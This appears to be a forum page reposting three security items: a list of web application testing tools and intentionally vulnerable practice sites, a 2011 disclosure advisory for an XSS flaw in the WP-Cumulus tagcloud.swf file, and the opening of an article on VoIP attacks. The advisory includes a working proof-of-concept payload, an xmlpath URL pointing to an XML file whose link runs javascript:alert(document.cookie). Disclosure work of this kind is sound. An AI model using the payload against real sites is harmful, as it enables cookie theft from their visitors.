The premier tool for performing manual web application vulnerability assessments and penetration tests. The pro version includes a scanner, and the Intruder tool makes the offering stand out amongst its peers. HP WebInspect An enterprise-focused tool suite that includes a scanner, proxy, and assorted other tools. WebScarabNG The latest version of this famous suite from OWASP. Includes a web services module that allows you to parse WSDLs and interact with their associated functions. IBM AppScan IBM's enterprise-focused suite. Acunetix Acunetix's enterprise-focused suite. NTOSpider NTObjectives's enterprise-focused suite. W3af w3af is a Web Application Attack and Audit Framework. The project's goal is to create a framework to find and exploit web application vulnerabilities that is easy to use and extend. Websecurify Websecurify is a powerful web application security testing environment designed from the ground up to provide the best combination of automatic and manual vulnerability testing technologies. Samurai Websecurify is a powerful web application security testing environment designed from the ground up to provide the best combination of automatic and manual vulnerability testing technologies. Skipfish A fully automated, active web application security reconnaissance tool written by Michal Zalewski of Google. RAFT (Response Analysis and Further Testing Tool) RAFT is a testing tool for the identification of vulnerabilities in web applications. RAFT is a suite of tools that utilize common shared elements to make testing and analysis easier. The tool provides visibility in to areas that other tools do not such as various client side storage. Zed Attack Proxy (ZAP) The Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually. Standalone Web Assessment Tools Nikto Nikto is an command line Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6400 potentially dangerous files/CGIs, checks for outdated versions of over 1000 servers, and version specific problems on over 270 servers. Wikto Wikto is Nikto for Windows - but with a couple of fancy extra features including Fuzzy logic error code checking, a back-end miner, Google assisted directory mining and real time HTTP request/response monitoring. Wikto is coded in C# and requires the .NET framework. Web Assessment Utilities Yehg.net Charset Encoder / String Encrypter A online, feature-rich tool for changing the encoding of input. Browser Extensions Websecurify Chrome Extension The Chrome Extension version of the Websecurify tool. Performs a scan and tells you the results summary, but there's no authentication or detailed view of findings. It's more of a quick-touch option before you run a real tool. XSS Me The Firefox Extension. SQL Inject Me The Firefox Extension. Vulnerable Test Websites These sites are purposely vulnerable for the purpose of testing web app security scanners. They are designed for this purpose, but I'd check to make sure it's ok before scanning them (just to be sure). Internet-accessible Google Gruyere This one is from Google and you can do it both online and as a local install. zero.webappsecurity.com (HP) I happen to know this one is o.k. to scan. demo.testfire.net (IBM) test.acunetix.com (Acunetix) testphp.vulnweb.com (Acunetix) testasp.acunetix.com (Acunetix) testaspnet.acunetix.com (Acunetix) Cenzic's Crack Me Bank Hacker Test This one is not like the others; it's not a full website you'd scan, but rather more like a puzzle where you proceed through various levels. Hax.tor Another challenge, similar to Hacker Test. Download and Configure Broken Web Apps Project (OWASP) This is the one you want first; it has over a dozen broken web apps to play with. Web Security Dojo (Maven) Similar to OWASP's Broken Web Apps project, i.e. multiple broken web apps in one place. Webgoat (OWASP) This is the grand pubah of the testing sites because it includes training with it. Note that it's on the Broken Web Apps image listed above. Damn Vulnerable Web App BadStore Hackme Bank (McAfee) Hackme Casino (McAfee) Hackme Books (McAfee) Hackme Shipping (McAfee) Hackme Travel (McAfee) Moth (Bonsai) SecuriBench (Stanford) Vicnum (ipsaplus) Google Gruyere This one is from Google and you can do it both online and as a local install. Additional Resources Hack This Site Community Hellbound Hackers Sursa: WebAppSec Testing Resources | danielmiessler.com
  24. New XSS vulnerability in WP-Cumulus for WordPress and multiple web applications and m From: "MustLive" <mustlive () websecurity com ua> Date: Sun, 20 Nov 2011 23:40:48 +0200 Hello list! I want to warn you about new Cross-Site Scripting vulnerability in WP-Cumulus for WordPress and multiple web applications and millions web sites. Earlier I wrote about XSS vulnerability in WP-Cumulus, which I've disclosed in 2009 (Security Advisory: Vulnerabilities in WP-Cumulus for WordPress - security vulnerabilities database), and many other plugins (and widgets and themes) for different engines, which are using tagcloud.swf made by author of WP-Cumulus. About millions of flash files tagcloud.swf which are vulnerable to XSS attacks I mentioned in my article XSS vulnerabilities in 34 millions flash files ([WEB SECURITY] XSS vulnerabilities in 34 millions flash files). ------------------------- Affected products: ------------------------- Vulnerable are all versions of WP-Cumulus. At that Roy Tanck's patch (version of flash-file for WP-Cumulus 1.23) will work for this vulnerability too, so in fixed versions of flash-file the XSS will not work, only HTML Injection. Also must be vulnerable Joomulus for Joomla, JVClouds3D for Joomla, Blogumus, 3D Cloud for Joomla, Tagcloud for DLE, t3m_cumulus_tagcloud for TYPO3, Cumulus for BlogEngine.NET, tagcloud for Kasseler CMS, 3D user cloud for Joomla, Flash Tag Cloud for Blogsa and other ASP.NET engines, b-cumulus, Cumulus for Drupal, sfWpCumulusPlugin for symfony, Flash Tag Cloud For MT 4, MT-Cumulus for Movable Type, Tumulus for Typepad, WP-Cumulus for RapidWeaver, HB-Cumulus for Habari, Cumulus for DasBlog, EZcumulus and eZ Flash Tag Cloud for eZ Publish, Simple Tags for Expression Engine (version 1.6.3 and new versions, where support of this swf-file was added), Freetag for Serendipity (of this flash-file was added in version 2.103), Tag cloud for Social Web CMS, Animated tag cloud for PHP-Fusion, 3D Advanced Tags Clouds for Magento, Cumulus for Sweetcron and other web applications with this flash-file. And also themes for engines, particularly for Drupal (http://websecurity.com.ua/5407/), which are using this flash-file (I've wrote earlier about five vulnerable themes for Drupal). As I mentioned bellow, vulnerable are only web applications with new versions of this flash-file (and a lot of web applications and sites are using exactly new versions of it). But when web developers or admins of sites, which are using old versions of swf-file (unaffected) will decided to update it (just "to update" or to fix first XSS vulnerability, which can be done by updating to fixed version from Roy Tanck), then they will become vulnerable to this hole. ---------- Details: ---------- If previous vulnerability in tagcloud.swf concerned parameter mode, then new vulnerability concerns parameter xmlpath. XSS (WASC-08): http://site/tagcloud.swf?xmlpath=xss.xml http://site/tagcloud.swf?xmlpath=http://site/xss.xml File xss.xml: <tags> <a href="javascript:alert(document.cookie)" style="font-size:+40pt">Click me</a> <a href="http://websecurity.com.ua"; style="font-size:+40pt">Click me</a> </tags> Code will execute after click. It's strictly social XSS (Strictly social XSS - Websecurity -). Also it's possible to conduct (like in WP-Cumulus) HTML Injection attack. The attack will work only in new versions of flash-file, where support of parameter xmlpath was added. In old versions (not affected) in context menu is mentioned "WP-Cumulus by Roy Tanck", and in new versions (affected) mentioned "WP-Cumulus by Roy Tanck and Luke Morton". The attack will work only when xml-file is placed at the same site (the path can be relative or absolute). Extension of the file can be arbitrary. ------------ Timeline: ------------ 2011.11.09 - found vulnerability. 2011.11.17 - disclosed at my site. 2011.11.19 - informed developer of WP-Cumulus. All developers of forks of WP-Cumulus and developers of web applications, which are using this flash-file, can read about this issue at my site and in security mailing lists. In any case, the correct fix for first XSS hole (in links handling algorithm) also fixes the second XSS hole, so after I've informed all above-mentioned developers during 2009-2011, if they fixed first hole, then they fixed the second one. I mentioned about this vulnerability at my site: http://websecurity.com.ua/5505/ Best wishes & regards, MustLive Administrator of Websecurity web site Websecurity - Sursa: Full Disclosure: New XSS vulnerability in WP-Cumulus for WordPress and multiple web applications and millions web sites
  25. Enumerating and Breaking VoIP Introduction Voice over Internet Protocol (VoIP) has seen rapid implementation over the past few years. Most of the organizations which have implemented VoIP are either unaware or ignore the security issues with VoIP and its implementation. Like every other network, a VoIP network is also susceptible to abuse. In this article, I would discuss about various enumeration techniques followed by demonstration of few VoIP attacks. I deliberately will not go to protocol level details as this article is aimed at Penetration Testers who want to get a taste of the basics first, though it is strongly encouraged to understand the protocols used in VoIP networks. Possible attacks against VoIP Denial of Service (DoS) attacks Registration Manipulation and Hijacking Authentication attacks Caller ID spoofing Man-in-the-middle attacks VLAN Hopping Passive and Active Eavesdropping Spamming over Internet Telephony (SPIT) VoIP phishing (Vishing) Download: http://www.exploit-db.com/download_pdf/18136
×
×
  • Create New...